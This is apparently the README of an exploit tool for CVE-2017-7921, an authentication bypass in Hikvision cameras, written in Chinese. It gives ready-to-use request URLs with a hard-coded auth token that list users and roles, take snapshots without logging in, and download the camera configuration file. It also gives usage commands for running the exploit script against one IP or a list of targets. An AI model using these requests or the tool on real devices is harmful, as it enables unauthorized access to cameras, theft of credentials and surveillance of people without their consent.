CVE-2017-7921 漏洞利用

Hikvision 设备中存在一个身份验证不当的问题。

​ 身份验证不当漏洞发生在应用程序未充分或正确地验证用户身份时。

​ 这可能导致恶意用户提升其在系统上的权限并获取敏感信息。

​ https://seclists.org/fulldisclosure/2017/Sep/23

​ 漏洞详情：

​ ----------------------

​ 获取所有用户及其角色的列表：

​ http://camera.ip/Security/users?auth=YWRtaW46MTEK

​ 无需身份验证即可获取摄像机快照：

​ http://camera.ip/onvif-http/snapshot?auth=YWRtaW46MTEK

​ 最严重的是，可以下载摄像机配置：

​ http://camera.ip/System/configurationFile?auth=YWRtaW46MTEK

安装依赖

python3 -m pip install -r requirements.txt

使用方法

python3 CVE_2017_7921_EXP.py -t xxx.xx.xx.xx run
python3 CVE_2017_7921_EXP.py -t ./targets.txt run

截图